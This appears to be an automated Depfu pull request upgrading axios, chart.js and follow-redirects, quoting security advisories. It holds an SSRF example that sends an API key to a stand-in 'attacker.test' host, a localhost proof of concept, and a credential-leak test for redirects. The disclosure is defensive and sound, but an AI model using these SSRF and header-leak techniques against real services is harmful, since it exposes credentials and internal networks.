🚨 [security] Update axios 0.19.0 → 0.30.0 (major)

[depfu]

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🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

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Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ axios (0.19.0 → 0.30.0) · Repo · Changelog

Security Advisories 🚨

🚨 axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";
const internalAPIClient = axios.create({

baseURL: "http://example.test/api/v1/users/",

headers: {

"X-API-KEY": "1234567890",

},

});
// const userId = "123";

const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

🚨 Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

🚨 axios Inefficient Regular Expression Complexity vulnerability

axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.

🚨 Axios vulnerable to Server-Side Request Forgery

Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ chart.js (2.9.1 → 2.9.4) · Repo

Security Advisories 🚨

🚨 Prototype pollution in chart.js

This affects the package chart.js before 2.9.4. The options parameter is not properly sanitized when it is processed. When the options are processed, the existing options (or the defaults options) are deeply merged with provided options. However, during this operation, the keys of the object being set are not checked, leading to a prototype pollution.

Release Notes

2.9.4

This is the last release of v2 and focused on fixing bugs identified in the v2.9.3 release.

Bugs Fixed

• #7404 - Preserve prototypes when cloning. Thanks @iddings
• #7587 - Fix docs for external moment.js. Thanks @mojoaxel
• #7853 - Fix box recursion when dimensions are NaN. Thanks @alessandroasm
• #7883 - Fix call stack exception when computing label sizes. Thanks @silentmatt
• #7918 - Prevent global prototype pollution via the merge helper
• #7920 - Use Object.create(null) as merge target, to prevent prototype pollution

2.9.3

Bug Fixes

• #6698 Fix undefined variable
• #6719 Don't make legend empty when fill is false

Thanks to the maintainers and collaborators for their help to improve and test Chart.js (@kurkle, @benmccann, and @etimberg).

2.9.2

Bug Fixes

• #6641 IE11 & Edge compatible style injection
• #6655 Backwards compatible default fill for radar charts
• #6660 Improve clipping of line charts when border widths are large
• #6661 When a legend item is clicked, make sure the correct item is hidden
• #6663 Refresh package-lock file to pick up new dependency

Performance

• #6671 Stop unnecessary line calculations

Documentation

• #6643 Combine performance documentation sections

Thanks to the maintainers and collaborators for their help to improve and test Chart.js (@nagix, @kurkle, @benmccann, @etimberg and @simonbrunel).

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ follow-redirects (indirect, 1.5.10 → 1.15.9) · Repo

Security Advisories 🚨

🚨 follow-redirects' Proxy-Authorization header kept across hosts

When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.

Steps To Reproduce & PoC

Test code:

const axios = require('axios');
axios.get('http://127.0.0.1:10081/', {

headers: {

'AuThorization': 'Rear Test',

'ProXy-AuthoriZation': 'Rear Test',

'coOkie': 't=1'

}

})

.then((response) => {

console.log(response);

})

When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.

Impact

This vulnerability may lead to credentials leak.

Recommendations

Remove proxy-authentication header during cross-domain redirect

Recommended Patch

follow-redirects/index.js:464

- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);

🚨 Follow Redirects improperly handles URLs in the url.parse() function

Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.

🚨 Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects

Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.

🚨 Exposure of sensitive information in follow-redirects

follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 call-bind-apply-helpers (added, 1.0.2)

🆕 dunder-proto (added, 1.0.1)

🆕 es-define-property (added, 1.0.1)

🆕 es-errors (added, 1.3.0)

🆕 es-object-atoms (added, 1.1.1)

🆕 es-set-tostringtag (added, 2.1.0)

🆕 get-intrinsic (added, 1.3.0)

🆕 get-proto (added, 1.0.1)

🆕 gopd (added, 1.2.0)

🆕 has-tostringtag (added, 1.0.2)

🆕 hasown (added, 2.0.2)

🆕 math-intrinsics (added, 1.1.0)

🆕 proxy-from-env (added, 1.1.0)

🗑️ emoji-regex (removed)

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